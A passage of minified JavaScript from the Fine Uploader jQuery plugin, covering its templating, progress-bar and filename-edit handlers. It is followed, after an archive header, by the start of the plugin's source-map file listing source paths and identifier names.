t=e.id,n=e.thumbnailUrl,i=e.showWaitingImg,o=X(t),r={customResizeFunction:e.customResizeFunction,scale:l,maxSize:S};if(o)if(n){if(!(w.limits.maxThumbs&&w.limits.maxThumbs<=v))return i&&P(o),w.imageGenerator.generate(n,o,r).then(function(){te(o),v++,setTimeout(T,w.limits.timeBetweenThumbs)},function(){Y(t,o),setTimeout(T,w.limits.timeBetweenThumbs)});Y(t,o),T()}else Y(t,o),T()},ee=function(e,t){var n=z(e),i=null==e?F.totalProgressBar:F.progressBar;n&&!qq(n).hasClass(i)&&(n=qq(n).getFirstByClass(i)),n&&(qq(n).css({width:t+"%"}),n.setAttribute("aria-valuenow",t))},te=function(e){e&&qq(e).removeClass(w.classes.hide)},ne=function(e,n){var i=X(e),o=X(n);t(qq.format("ID {} is the same file as ID {}.  Will use generated thumbnail from ID {} instead.",e,n,n)),x[n].then(function(){v++,x[e].success(),t(qq.format("Now using previously generated thumbnail created for ID {} on ID {}.",n,e)),i.src=o.src,te(i)},function(){x[e].failure(),w.placeholders.waitUntilUpdate||Y(e,i)})};qq.extend(w,e),t=w.log,qq.supportedFeatures.imagePreviews||(w.limits.timeBetweenThumbs=0,w.limits.maxThumbs=0),r=w.containerEl,s=void 0!==w.imageGenerator,o=J(),I(),qq.extend(this,{render:function(){t("Rendering template in DOM."),v=0,r.innerHTML=o.template,W(B()),this.hideTotalProgress(),a=w.fileContainerEl||V(r,F.list),t("Template rendering complete")},renderFailure:function(e){var t=qq.toElement(e);r.innerHTML="",r.appendChild(t)},reset:function(){this.render()},clearFiles:function(){a.innerHTML=""},disableCancel:function(){_=!0},addFile:function(e,t,n,i,s){var l,d=qq.toElement(o.fileTemplate),p=V(d,F.file),h=V(r,F.uploader),q=s?g.content:a;s&&(g.map[e]=d),qq(d).addClass(c+e),h.removeAttribute(f),p&&(qq(p).setText(t),p.setAttribute("title",t)),d.setAttribute(u,e),n?Z(d,n.index,q):q.appendChild(d),i?(d.style.display="none",qq(d).addClass(m)):(W(z(e)),W(j(e)),W(R(e)),W(M(e)),W(H(e)),W(k(e)),_&&this.hideCancel(e),l=X(e),l&&!l.src&&E.then(function(e){l.src=e.src,e.style.maxHeight&&e.style.maxWidth&&qq(l).css({maxHeight:e.style.maxHeight,maxWidth:e.style.maxWidth}),te(l)}))},addFileToCache:function(e,t,n,i){this.addFile(e,t,n,i,!0)},addCacheToDom:function(){a.appendChild(g.content),g.content=document.createDocumentFragment(),g.map={}},removeFile:function(e){qq(L(e)).remove()},getFileId:function(e){var t=e;if(t){for(;null==t.getAttribute(u);)t=t.parentNode;return parseInt(t.getAttribute(u))}},getFileList:function(){return a},markFilenameEditable:function(e){var t=O(e);t&&qq(t).addClass(w.classes.editable)},updateFilename:function(e,t){var n=O(e);n&&(qq(n).setText(t),n.setAttribute("title",t))},hideFilename:function(e){W(O(e))},showFilename:function(e){te(O(e))},isFileName:function(e){return qq(e).hasClass(F.file)},getButton:function(){return w.button||V(r,F.button)},hideDropProcessing:function(){W(B())},showDropProcessing:function(){te(B())},getDropZone:function(){return V(r,F.drop)},isEditFilenamePossible:function(){return n},hideRetry:function(e){W(M(e))},isRetryPossible:function(){return i},showRetry:function(e){te(M(e))},getFileContainer:function(e){return L(e)},showEditIcon:function(e){var t=N(e);t&&qq(t).addClass(w.classes.editable)},isHiddenForever:function(e){return qq(L(e)).hasClass(m)},hideEditIcon:function(e){var t=N(e);t&&qq(t).removeClass(w.classes.editable)},isEditIcon:function(e){return qq(e).hasClass(F.editNameIcon,!0)},getEditInput:function(e){return V(L(e),F.editFilenameInput)},isEditInput:function(e){return qq(e).hasClass(F.editFilenameInput,!0)},updateProgress:function(e,t,n){var i,o=z(e);o&&n>0&&(i=Math.round(t/n*100),100===i?W(o):te(o),ee(e,i))},updateTotalProgress:function(e,t){this.updateProgress(null,e,t)},hideProgress:function(e){var t=z(e);t&&W(t)},hideTotalProgress:function(){this.hideProgress()},resetProgress:function(e){ee(e,0),this.hideTotalProgress(e)},resetTotalProgress:function(){this.resetProgress()},showCancel:function(e){if(!_){var t=U(e);t&&qq(t).removeClass(w.classes.hide)}},hideCancel:function(e){W(U(e))},isCancel:function(e){return qq(e).hasClass(F.cancel,!0)},allowPause:function(e){te(H(e)),W(k(e))},uploadPaused:function(e){this.setStatusText(e,w.text.paused),this.allowContinueButton(e),W(G(e))},hidePause:function(e){W(H(e))},isPause:function(e){return qq(e).hasClass(F.pause,!0)},isContinueButton:function(e){return qq(e).hasClass(F.continueButton,!0)},allowContinueButton:function(e){te(k(e)),W(H(e))},uploadContinued:function(e){this.setStatusText(e,""),this.allowPause(e),te(G(e))},showDeleteButton:function(e){te(R(e))},hideDeleteButton:function(e){W(R(e))},isDeleteButton:function(e){return qq(e).hasClass(F.deleteButton,!0)},isRetry:function(e){return qq(e).hasClass(F.retry,!0)},updateSize:function(e,t){var n=j(e);n&&(te(n),qq(n).setText(t))},setStatusText:function(e,t){var n=V(L(e),F.statusText);n&&(null==t?qq(n).clearText():qq(n).setText(t))},hideSpinner:function(e){qq(L(e)).removeClass(q),W(G(e))},showSpinner:function(e){qq(L(e)).addClass(q),te(G(e))},generatePreview:function(e,t,n){this.isHiddenForever(e)||(y.push({id:e,customResizeFunction:n,optFileOrBlob:t}),!b&&T())},updateThumbnail:function(e,t,n,i){this.isHiddenForever(e)||(y.push({customResizeFunction:i,update:!0,id:e,thumbnailUrl:t,showWaitingImg:n}),!b&&T())},hasDialog:function(e){return qq.supportedFeatures.dialogElement&&!!A(e)},showDialog:function(e,t,n){var i=A(e),o=V(i,F.dialogMessage),r=i.getElementsByTagName("INPUT")[0],a=V(i,F.dialogCancelButton),s=V(i,F.dialogOkButton),l=new qq.Promise,u=function(){a.removeEventListener("click",c),s&&s.removeEventListener("click",d),l.failure()},c=function(){a.removeEventListener("click",c),i.close()},d=function(){i.removeEventListener("close",u),s.removeEventListener("click",d),i.close(),l.success(r&&r.value)};return i.addEventListener("close",u),a.addEventListener("click",c),s&&s.addEventListener("click",d),r&&(r.value=n),o.textContent=t,i.showModal(),l}})},qq.UiEventHandler=function(e,t){"use strict";function n(e){i.attach(e,o.eventType,function(e){e=e||window.event;var t=e.target||e.srcElement;o.onHandled(t,e)})}var i=new qq.DisposeSupport,o={eventType:"click",attachTo:null,onHandled:function(e,t){}};qq.extend(this,{addHandler:function(e){n(e)},dispose:function(){i.dispose()}}),qq.extend(t,{getFileIdFromItem:function(e){return e.qqFileId},getDisposeSupport:function(){return i}}),qq.extend(o,e),o.attachTo&&n(o.attachTo)},qq.FileButtonsClickHandler=function(e){"use strict";function t(e,t){qq.each(o,function(n,o){var r,a=n.charAt(0).toUpperCase()+n.slice(1);if(i.templating["is"+a](e))return r=i.templating.getFileId(e),qq.preventDefault(t),i.log(qq.format("Detected valid file button click event on file '{}', ID: {}.",i.onGetName(r),r)),o(r),!1})}var n={},i={templating:null,log:function(e,t){},onDeleteFile:function(e){},onCancel:function(e){},onRetry:function(e){},onPause:function(e){},onContinue:function(e){},onGetName:function(e){}},o={cancel:function(e){i.onCancel(e)},retry:function(e){i.onRetry(e)},deleteButton:function(e){i.onDeleteFile(e)},pause:function(e){i.onPause(e)},continueButton:function(e){i.onContinue(e)}};qq.extend(i,e),i.eventType="click",i.onHandled=t,i.attachTo=i.templating.getFileList(),qq.extend(this,new qq.UiEventHandler(i,n))},qq.FilenameClickHandler=function(e){"use strict";function t(e,t){if(i.templating.isFileName(e)||i.templating.isEditIcon(e)){var o=i.templating.getFileId(e),r=i.onGetUploadStatus(o);r===qq.status.SUBMITTED&&(i.log(qq.format("Detected valid filename click event on file '{}', ID: {}.",i.onGetName(o),o)),qq.preventDefault(t),n.handleFilenameEdit(o,e,!0))}}var n={},i={templating:null,log:function(e,t){},classes:{file:"qq-upload-file",editNameIcon:"qq-edit-filename-icon"},onGetUploadStatus:function(e){},onGetName:function(e){}};qq.extend(i,e),i.eventType="click",i.onHandled=t,qq.extend(this,new qq.FilenameEditHandler(i,n))},qq.FilenameInputFocusInHandler=function(e,t){"use strict";function n(e,n){if(i.templating.isEditInput(e)){var o=i.templating.getFileId(e),r=i.onGetUploadStatus(o);r===qq.status.SUBMITTED&&(i.log(qq.format("Detected valid filename input focus event on file '{}', ID: {}.",i.onGetName(o),o)),t.handleFilenameEdit(o,e))}}var i={templating:null,onGetUploadStatus:function(e){},log:function(e,t){}};t||(t={}),i.eventType="focusin",i.onHandled=n,qq.extend(i,e),qq.extend(this,new qq.FilenameEditHandler(i,t))},qq.FilenameInputFocusHandler=function(e){"use strict";e.eventType="focus",e.attachTo=null,qq.extend(this,new qq.FilenameInputFocusInHandler(e,{}))},qq.FilenameEditHandler=function(e,t){"use strict";function n(e){var t=s.onGetName(e),n=t.lastIndexOf(".");return n>0&&(t=t.substr(0,n)),t}function i(e){var t=s.onGetName(e);return qq.getExtension(t)}function o(e,t){var n,o=e.value;void 0!==o&&qq.trimStr(o).length>0&&(n=i(t),void 0!==n&&(o=o+"."+n),s.onSetName(t,o)),s.onEditingStatusChange(t,!1)}function r(e,n){t.getDisposeSupport().attach(e,"blur",function(){o(e,n)})}function a(e,n){t.getDisposeSupport().attach(e,"keyup",function(t){var i=t.keyCode||t.which;13===i&&o(e,n)})}var s={templating:null,log:function(e,t){},onGetUploadStatus:function(e){},onGetName:function(e){},onSetName:function(e,t){},onEditingStatusChange:function(e,t){}};qq.extend(s,e),s.attachTo=s.templating.getFileList(),qq.extend(this,new qq.UiEventHandler(s,t)),qq.extend(t,{handleFilenameEdit:function(e,t,i){var o=s.templating.getEditInput(e);s.onEditingStatusChange(e,!0),o.value=n(e),i&&o.focus(),r(o,e),a(o,e)}})}}(window);
//# sourceMappingURL=jquery.fine-uploader.min.js.mapjs/fileupload/jquery.fine-uploader.min.js.map000060400002251756150710775200015272 0ustar00{"version":3,"sources":["?","../client/js/jquery-plugin.js","../client/js/util.js","../client/js/export.js","../client/js/error/error.js","../client/js/version.js","../client/js/features.js","../client/js/promise.js","../client/js/blob-proxy.js","../client/js/button.js","../client/js/upload-data.js","../client/js/uploader.basic.api.js","../client/js/uploader.basic.js","../client/js/ajax.requester.js","../client/js/upload-handler/upload.handler.js","../client/js/upload-handler/upload.handler.controller.js","../client/js/window.receive.message.js","../client/js/upload-handler/form.upload.handler.js","../client/js/upload-handler/xhr.upload.handler.js","../client/js/deletefile.ajax.requester.js","../client/js/image-support/megapix-image.js","../client/js/image-support/image.js","../client/js/image-support/exif.js","../client/js/identify.js","../client/js/image-support/validation.image.js","../client/js/session.js","../client/js/session.ajax.requester.js","../client/js/image-support/scaler.js","../client/js/third-party/ExifRestorer.js","../client/js/total-progress.js","../client/js/paste.js","../client/js/form-support.js","../client/js/traditional/traditional.form.upload.handler.js","../client/js/traditional/traditional.xhr.upload.handler.js","../client/js/traditional/all-chunks-done.ajax.requester.js","../client/js/dnd.js","../client/js/uploader.api.js","../client/js/uploader.js","../client/js/templating.js","../client/js/ui.handler.events.js","../client/js/ui.handler.click.filebuttons.js","../client/js/ui.handler.click.filename.js","../client/js/ui.handler.focusin.filenameinput.js","../client/js/ui.handler.focus.filenameinput.js","../client/js/ui.handler.edit.filename.js"],"names":["global","$","init","options","xformedOpts","transformVariables","newUploaderInstance","getNewUploaderInstance","uploader","addCallbacks","$el","params","uploaderType","pluginOption","namespace","charAt","toUpperCase","slice","toLowerCase","qq","FineUploader","dataStore","key","val","data","undefined","instanceToStore","option","optionVal","transformedOpts","callbacks","each","_options","prop","nonJqueryCallback","name","callbackEventTarget","exec","substring","nonJqueryCallbackRetVal","jqueryEventCallbackRetVal","originalArgs","Array","prototype","call","arguments","transformedArgs","idx","arg","push","maybeWrapInJquery","apply","this","triggerHandler","error","log","message","source","dest","xformed","arrayVals","element","inArray","pluginOptions","isPlainObject","isArray","arrayVal","arrayObjDest","merge","isValidCommand","command","type","match","delegateCommand","retVal","xformedArgs","origArgs","transformedVal","nodeType","cloneNode","fn","fineUploader","optionsOrCommand","self","selfArgs","retVals","index","el","length","jQuery","hide","style","display","attach","addEventListener","attachEvent","detach","removeEventListener","detachEvent","contains","descendant","compareDocumentPosition","insertBefore","elementB","parentNode","remove","removeChild","css","styles","Error","opacity","filter","Math","round","extend","hasClass","considerParent","re","RegExp","test","className","addClass","removeClass","replace","getByClass","first","candidates","result","querySelector","querySelectorAll","getElementsByTagName","getFirstByClass","children","child","firstChild","nextSibling","setText","text","innerText","textContent","clearText","hasAttribute","attrName","attrVal","getAttribute","canvasToBlob","canvas","mime","quality","dataUriToBlob","toDataURL","dataUri","arrayBuffer","byteString","intArray","mimeString","createBlob","BlobBuilder","window","WebKitBlobBuilder","MozBlobBuilder","MSBlobBuilder","blobBuilder","append","getBlob","Blob","split","indexOf","atob","decodeURI","ArrayBuffer","Uint8Array","character","charCodeAt","level","console","isObject","variable","Object","toString","isFunction","value","buffer","constructor","isItemList","maybeItemList","isNodeList","maybeNodeList","item","namedItem","isString","maybeString","trimStr","string","String","trim","format","str","args","newStr","nextIdxToReplace","strBefore","strAfter","isFile","maybeFile","File","isFileList","maybeFileList","FileList","isFileOrInput","maybeFileOrInput","isInput","maybeInput","notFile","evaluateType","normalizedType","HTMLInputElement","tagName","isBlob","maybeBlob","isXhrUploadSupported","input","document","createElement","multiple","FormData","createXhrInstance","upload","XMLHttpRequest","ActiveXObject","isFolderDropSupported","dataTransfer","items","webkitGetAsEntry","isFileChunkingSupported","androidStock","webkitSlice","mozSlice","sliceBlob","fileOrBlob","start","end","slicer","arrayBufferToHex","bytesAsHex","bytes","byt","byteAsHexStr","readBlobToHex","blob","startOffset","initialBlob","fileReader","FileReader","promise","Promise","onload","success","onerror","failure","readAsArrayBuffer","second","extendNested","override","target","sourceFn","super_","srcPropName","srcPropVal","arr","elt","from","len","hasOwnProperty","getUniqueId","c","r","random","v","ie","navigator","userAgent","ie7","ie8","ie10","ie11","edge","safari","vendor","chrome","opera","firefox","windows","platform","android","ios6","ios","ios7","ios8","ios800","iosChrome","iosSafari","iosSafariWebView","preventDefault","e","returnValue","toElement","div","html","innerHTML","iterableItem","callback","keyOrIndex","Storage","getItem","bind","oldFunc","context","newArgs","concat","obj2url","obj","temp","prefixDone","uristrings","prefix","add","nextObj","i","nextTemp","encodeURIComponent","join","obj2FormData","formData","arrayKeyName","obj2Inputs","form","setAttribute","appendChild","parseJson","json","JSON","parse","eval","getExtension","filename","extIdx","lastIndexOf","substr","getFilename","blobOrFileInput","fileName","DisposeSupport","disposers","dispose","disposer","shift","addDisposer","disposeFunction","define","amd","module","exports","version","supportedFeatures","testSupportsFileInputElement","tempInput","supported","disabled","ex","isChrome21OrHigher","isChrome14OrHigher","isCrossOriginXhrSupported","xhr","withCredentials","isXdrSupported","XDomainRequest","isCrossOriginAjaxSupported","isFolderSelectionSupported","webkitdirectory","isLocalStorageSupported","localStorage","setItem","isDragAndDropSupported","span","supportsUploading","supportsUploadingBlobs","supportsFileDrop","supportsAjaxFileUploading","supportsFolderDrop","supportsChunking","supportsResume","supportsUploadViaPaste","supportsUploadCors","supportsDeleteFileXdr","supportsDeleteFileCorsXhr","supportsDeleteFileCors","supportsFolderSelection","supportsImagePreviews","supportsUploadProgress","postMessage","ajaxUploading","blobUploading","canDetermineSize","chunking","deleteFileCors","deleteFileCorsXdr","deleteFileCorsXhr","dialogElement","HTMLDialogElement","fileDrop","folderDrop","folderSelection","imagePreviews","imageValidation","itemSizeValidation","pause","progressBar","resume","scaling","tiffPreviews","unlimitedScaledImageSize","uploading","uploadCors","uploadCustomHeaders","uploadNonMultipart","uploadViaPaste","isGenericPromise","maybePromise","then","successArgs","failureArgs","successCallbacks","failureCallbacks","doneCallbacks","state","onSuccess","onFailure","done","BlobProxy","referenceBlob","onCreate","create","UploadButton","o","createInput","BUTTON_ID_ATTR_NAME","buttonId","title","setMultiple","folders","acceptFiles","position","right","top","fontFamily","fontSize","margin","padding","cursor","height","disposeSupport","onChange","hoverClass","focusClass","ios8BrowserCrashWorkaround","overflow","direction","getInput","getButtonId","isMultiple","optInput","removeAttribute","setAcceptFiles","reset","UploadData","uploaderProxy","getDataByIds","idOrIds","entries","id","getDataByUuids","uuids","uuid","byUuid","getDataByStatus","status","statusResults","statuses","statusEnum","statusResultIndexes","byStatus","dataIndex","byProxyGroupId","byBatchId","addFile","spec","SUBMITTING","originalName","size","batchId","proxyGroupId","onStatusChange","retrieve","optionalFilter","setStatus","newStatus","oldStatus","byStatusOldStatusIndex","splice","uuidChanged","newUuid","oldUuid","updateName","newName","updateSize","newSize","setParentId","targetId","parentId","getIdsInProxyGroup","getIdsInBatch","SUBMITTED","REJECTED","QUEUED","CANCELED","PAUSED","UPLOADING","UPLOAD_RETRYING","UPLOAD_SUCCESSFUL","UPLOAD_FAILED","DELETE_FAILED","DELETING","DELETED","basePublicApi","addBlobs","blobDataOrArray","endpoint","addFiles","addInitialFiles","cannedFileList","cannedFile","_addCannedFile","_maybeHandleIos8SafariWorkaround","_storedIds","_currentBatchId","processBlob","_handleNewFile","blobs","defaultName","verifiedFiles","processBlobData","blobData","processCanvas","processCanvasData","canvasData","normalizedQuality","processFileOrInput","fileOrInput","files","file","normalizeData","fileContainer","_prepareItemsForUpload","cancel","_handler","cancelAll","storedIdsCopy","storedFileId","clearStoredFiles","continueUpload","uploadData","_uploadData","enabled","getName","_uploadFile","deleteFile","_onSubmitDelete","doesExist","fileOrBlobId","isValid","drawThumbnail","fileId","imgOrCanvas","maxSize","fromServer","customResizeFunction","fileOrUrl","promiseToReturn","_imageGenerator","_thumbnailUrls","scale","getFile","container","generate","modifiedContainer","reason","getButton","_getButton","_buttonIdsForFileIds","getEndpoint","_endpointStore","get","getInProgress","getParentId","uploadDataEntry","getUploads","getResumableFilesData","getSize","getNetUploads","_netUploaded","getRemainingAllowedItems","allowedItems","_currentItemLimit","_netUploadedOrQueued","getUuid","debug","pauseUpload","_autoRetries","_retryTimeouts","_preventRetries","_buttons","button","_paramsStore","_pasteHandler","session","refreshOnReset","_refreshSessionData","_succeededSinceLastAllComplete","_failedSinceLastAllComplete","_totalProgress","retry","_manualRetry","scaleImage","specs","Scaler","setCustomHeaders","headers","_customHeadersStore","set","setDeleteFileCustomHeaders","_deleteFileCustomHeadersStore","setDeleteFileEndpoint","_deleteFileEndpointStore","setDeleteFileParams","_deleteFileParamsStore","setEndpoint","setForm","elementOrId","_updateFormSupportAndParams","setItemLimit","newItemLimit","setName","setParams","setUuid","uploadStoredFiles","_itemError","_uploadStoredFiles","basePrivateApi","sessionData","deleteFileEndpoint","deleteFileParams","thumbnailUrl","_annotateWithButtonId","associatedInput","qqButtonId","_getButtonId","_batchError","onError","_createDeleteHandler","DeleteFileAjaxRequester","method","maxConnections","uuidParamName","request","uuidName","customHeaders","paramsStore","endpointStore","cors","onDelete","_onDelete","onDeleteComplete","xhrOrXdr","isError","_onDeleteComplete","_createPasteHandler","PasteSupport","targetElement","paste","pasteReceived","_handleCheckedCallback","onPasteReceived","_handlePasteSuccess","identifier","_createStore","initialValue","_readOnlyValues_","store","catchall","perIdReadOnlyValues","readOnlyValues","copy","orig","getReadOnlyValues","includeReadOnlyValues","existing","values","addReadOnly","_createUploadDataTracker","_onUploadStatusChange","_maybeAllComplete","setTimeout","_createUploadButton","allowMultiple","workarounds","iosEmptyVideos","_isAllowedExtension","allowedExtensions","accept","validation","classes","buttonFocus","buttonHover","ios8BrowserCrash","inputName","_onInputChange","fileInputTitle","_disposeSupport","_createUploadHandler","additionalOptions","lastOnProgress","preventRetryParam","preventRetryResponseProperty","onProgress","loaded","total","_onProgress","onComplete","_onComplete","onCancel","cancelFinalizationEffort","_onCancel","onUploadPrep","_onUploadPrep","onUpload","_onUpload","onUploadChunk","chunkData","_onUploadChunk","onUploadChunkSuccess","onResume","onAutoRetry","responseJSON","_onAutoRetry","onUuidChanged","setSize","_setSize","getDataByUuid","isQueued","UploadHandlerController","_fileOrBlobRejected","_formatSize","max","toFixed","sizeSymbols","_generateExtraButtonSpecs","_extraButtonSpecs","extraButtons","extraButtonOptionEntry","extraButtonSpec","_initExtraButton","extraButtonsSpec","_defaultButtonId","buttonOrFileInputOrFile","inputs","fileInput","fileBlobOrInput","_getNotFinished","_getValidationBase","_getValidationDescriptor","fileWrapper","_getValidationDescriptors","fileWrappers","fileDescriptors","_handleCameraAccess","camera","acceptIosCamera","optionRoot","details","callbackRetVal","successParam","newFileWrapperList","actualFile","handler","_customNewFileHandler","_handleNewFileGeneric","addFileToHandler","_trackButton","fileList","extSuppliedName","extension","_initFormSupportAndParams","_formSupport","FormSupport","attachedToForm","getFormInputsAsObject","autoUpload","newAutoUpload","newEndpoint","_isDeletePossible","expected","allowXdr","allowed","valid","allowedExt","extRegex","code","maybeNameOrNames","replacement","extensionsForMessage","placeholderMatch","messages","names","validationBase","allowedExtension","formatFileName","sizeLimit","minSizeLimit","placeholder","_onBeforeManualRetry","notFinished","_onAllComplete","ios8SafariUploads","alert","unsupportedBrowserIos8Safari","_maybeParseAndSendUploadError","response","errorReason","defaultResponseError","_maybeProcessNextItemAfterOnValidateCallback","validItem","stopOnFirstInvalidFile","validationDescriptor","onValidate","_onValidateCallbackSuccess","_onValidateCallbackFailure","successful","failed","onAllComplete","_shouldAutoRetry","_onBeforeAutoRetry","autoAttemptDelay","itemLimit","onManualRetry","clearTimeout","storedItemIndex","expunge","fileIndex","onIndividualProgress","_onSubmit","_onSubmitCallbackSuccess","_onSubmitted","onSubmitted","_storeForLater","onSuccessCallback","additionalMandatedParams","adjustedOnSuccessCallback","onSubmitDelete","_deleteHandler","sendDelete","_onTotalProgress","onTotalProgress","_onValidateBatchCallbackFailure","_onValidateBatchCallbackSuccess","validationDescriptors","errorMessage","proposedNetFilesUploadedOrQueued","tooManyItemsError","nextIndex","_validateFileOrBlobData","_upload","onValidateBatch","_preventLeaveInProgress","event","onLeave","Session","_session","addFileRecord","refresh","_sessionRequestComplete","onSessionRequestComplete","onNewSize","enableAuto","maxAutoAttempts","formElementOrId","onSubmit","idToUpload","stillSubmitting","validityChecker","ImageValidation","validate","image","errorCode","_wrapCallbacks","safeCallback","errorMsg","exception","callbackName","callbackFunc","FineUploaderBasic","disableCancelForFormUploads","filenameParam","forceMultipart","paramsInBody","totalFileSizeName","maxHeight","maxWidth","minHeight","minWidth","maybeXhr","maybeXhrOrXdr","attemptNumber","fileOrBlobData","typeError","sizeError","minSizeError","emptyError","noFilesError","maxHeightImageError","maxWidthImageError","minHeightImageError","minWidthImageError","retryFailTooManyItems","concurrent","mandatory","paramNames","partIndex","partByteOffset","chunkSize","totalFileSize","totalParts","partSize","recordsExpireIn","resuming","fileOrBlobName","sendCredentials","interceptSubmit","customResizer","sendOriginal","orient","defaultType","defaultQuality","failureText","includeExif","sizes","ImageGenerator","_scaler","handleNewFile","TotalProgress","entry","AjaxRequester","isSimpleMethod","containsNonSimpleHeaders","containsNonSimple","header","isXdr","getCorsAjaxTransport","ontimeout","onprogress","getXhrOrXdr","suppliedXhr","requestData","dequeue","nextId","queue","sendRequest","xdrError","isResponseSuccessful","getParams","onDemandParams","additionalParams","mandatedParams","optXhr","url","payload","onSend","createUrl","additionalQueryParams","getXdrLoadHandler","getXdrErrorHandler","onreadystatechange","getXhrReadyStateChangeHandler","registerForUploadProgress","open","setHeaders","send","shouldParamsBeInQueryString","contentType","stringify","addToPath","readyState","lengthComputable","onDemandHeaders","additionalHeaders","allHeaders","acceptHeader","setRequestHeader","allowXRequestedWithAndCacheControl","responseCode","successfulResponseCodes","prepareToSend","validMethods","DELETE","PATCH","POST","PUT","GET","initTransport","path","cacheBuster","withPath","appendToPath","withParams","withQueryParams","_additionalQueryParams_","withHeaders","withPayload","thePayload","withCacheBuster","qqtimestamp","Date","getTime","canceled","UploadHandler","proxy","fileState","fileItem","onCancelRetVal","getThirdPartyFileId","_getFileState","_setThirdPartyFileId","thirdPartyFileId","_wasCanceled","preventRetryResponse","controller","chunkingPossible","concurrentChunkingPossible","chunked","chunkIdx","_getChunkData","attemptingResume","chunkProgress","_getChunkDataForCallback","finalize","finalizeChunks","normaizedResponse","normalizeResponse","_maybeDeletePersistedChunkData","cleanup","hasMoreParts","remaining","nextPart","nextIdx","_getTotalChunks","reevaluateChunking","sendNext","inProgressChunks","inProgress","connectionManager","available","uploadChunk","clearCachedChunk","responseToReport","inProgressChunkIdx","_maybePersistChunkedState","inProgressIdx","unshift","ignoreFailure","keys","_getXhrs","ckid","ckXhr","abort","_cancelled","moveInProgressToRemaining","free","clearXhr","_open","_openChunks","_waiting","openChunkEntriesCount","openChunksCount","openChunkIndexes","dontAllowNext","allowNext","waitingIndex","connectionsIndex","getProxyOrBlob","getWaitingOrConnected","waitingOrConnected","chunks","parseInt","isUsingConnection","pop","openChunksEntry","simple","uploadFile","maybeNewUuid","_clearXhrs","getProxy","initHandler","handlerType","traditional","handlerModuleSubtype","_removeExpiredChunkingRecords","isDeferredEligibleForUpload","maybeDefer","generatedBlob","updateBlob","maybeSendDeferredFiles","errorResponse","idsInGroup","uploadedThisId","idInGroup","now","originalResponse","_shouldChunkThisFile","blobToUpload","cancelRetVal","isProxied","isResumable","WindowReceiveMessage","callbackWrapperDetachers","receiveMessage","onMessageCallbackWrapper","stopReceivingMessages","detacher","FormUploadHandler","expungeFile","detachLoadEvents","isCors","postMessageCallbackTimers","corsMessageReceiver","iframe","getElementById","_getIframeName","getFileIdForIframeName","iframeName","initIframeForUpload","body","registerPostMessageCallback","onloadCallbacks","onloadCallback","_parseJsonResponse","_detachLoadEvent","formHandlerInstanceId","_attachLoadEvent","responseDescriptor","contentDocument","_createIframe","_initFormForUpload","targetName","innerHtmlOrMessage","XhrUploadHandler","xhrId","ajaxRequester","_getAjaxRequester","chunkFiles","resumeEnabled","blobOrProxy","_initTempState","_maybePrepareForResume","cachedChunks","tempState","xhrs","ajaxRequesters","responseParser","lastChunkIdx","_getXhr","resumableFilesData","_iterateResumeRecords","notResumable","optInProgress","optRemaining","reverse","paused","totalChunks","parts","newBlob","chunkId","_createXhr","optChunkIdx","_registerXhr","chunkIndex","fileSize","startBytes","endBytes","part","count","startByte","endByte","_getLocalStorageId","formatVersion","_getMimeType","_getPersistableData","ceil","_markNotResumable","localStorageId","removeItem","persistedData","lastUpdated","_registerProgressHandler","progressCalculator","totalSuccessfullyLoadedForFile","loadedForRequest","totalForRequest","estActualChunkLoaded","totalLoadedForFile","chunkLoaded","optAjaxRequester","xhrsId","expirationDays","expirationDate","setDate","getDate","getMandatedParams","_method","requester","detectSubsampling","img","ctx","iw","naturalWidth","ih","naturalHeight","width","getContext","drawImage","getImageData","detectVerticalSquash","alpha","ratio","sy","ey","py","renderImageToDataURL","doSquash","renderImageToCanvas","maybeCalculateDownsampledDimensions","maxPixels","origHeight","origWidth","newHeight","sqrt","newWidth","modifiedDimensions","save","resize","renderImageToCanvasWithCustomResizer","imageHeight","imageWidth","orientation","targetHeight","targetWidth","transformCoordinate","tmpCtx","sx","dx","d","tmpCanvas","vertSquashRatio","dw","dh","dy","clearRect","restore","qqImageRendered","resizeInfo","sourceCanvas","sourceCanvasContext","targetCanvas","translate","rotate","PI","MegaPixImage","srcImage","errorCallback","Image","URL","createObjectURL","webkitURL","src","listeners","imageLoadListeners","render","opt","imgWidth","imgHeight","optionsKey","optionsValue","oldTargetSrc","onrender","isImg","isCanvas","isImgCorsSupported","crossOrigin","isCanvasSupported","determineMimeOfFileName","nameWithPath","pathSegments","isCrossOrigin","targetProtocol","targetHostname","targetPort","targetAnchor","href","protocol","port","hostname","location","registerImgLoadListeners","registerCanvasDrawImageListener","registerThumbnailRenderedListener","registered","draw","drawPreview","Identify","megapixErrorHandler","isPreviewable","dummyExif","exif","Exif","mpImg","Orientation","failureMsg","drawOnCanvasOrImgFromUrl","canvasOrImg","tempImg","tempImgRender","drawOnImgFromUrlWithCssScaling","drawFromUrl","fileBlobOrUrl","_testing","parseLittleEndian","hex","pow","seekToApp1","offset","theOffset","thePromise","segmentLength","getApp1Offset","isLittleEndian","app1Start","getDirEntryCount","littleEndian","getIfd","dirEntries","getDirEntries","ifdHex","getTagValues","TAG_VAL_OFFSET","tagsToFind","TAG_IDS","vals","tagValHex","tagValLength","idHex","tagsToFindIdx","TAG_INFO","274","parser","onParseFailure","app1Offset","dirEntryCount","tagValues","isIdentifiable","magicBytes","questionableBytes","identifiable","magicBytesEntries","magicBytesArrayEntry","previewable","isPreviewableSync","PREVIEWABLE_MIME_TYPES","fileMime","isRecognizedImage","image/jpeg","image/gif","image/png","image/bmp","image/tiff","hasNonZeroLimits","limits","atLeastOne","limit","getWidthHeight","sizeDetermination","getFailingLimit","dimensions","failingLimit","limitName","limitValue","limitMatcher","dimensionPropName","actualValue","validationEffort","isJsonResponseValid","handleFileItems","fileItems","someItemsIgnored","err","refreshEffort","refreshCompleteCallback","requesterOptions","SessionAjaxRequester","queryServer","responseText","includeOriginal","failedToScaleText","_getSortedSizes","getFileRecords","originalFileUuid","originalFileName","originalBlobOrBlobData","records","originalBlob","sizeRecord","outputType","_determineOutputType","requestedType","refType","_getName","_generateScaledImage","failedText","api","scaledIds","originalId","record","blobSize","scaledId","qqparentuuid","qqparentsize","param","scalingEffort","scalingOptions","scaler","referenceType","scaledVersionProperties","startOfExt","versionType","scaledName","scaledExt","nameAppendage","sort","a","b","sourceFile","imageGenerator","scaledImageDataUri","signalSuccess","_insertExifHeader","scaledImageDataUriWithExif","originalImage","reader","insertionEffort","originalImageDataUri","ExifRestorer","readAsDataURL","_dataUriToBlob","_createBlob","KEY_STR","encode64","chr1","chr2","enc1","enc2","enc3","output","chr3","enc4","isNaN","origFileBase64","resizedFileBase64","expectedBase64Header","rawImage","decode64","segments","slice2Segments","exifManipulation","exifArray","getExifArray","new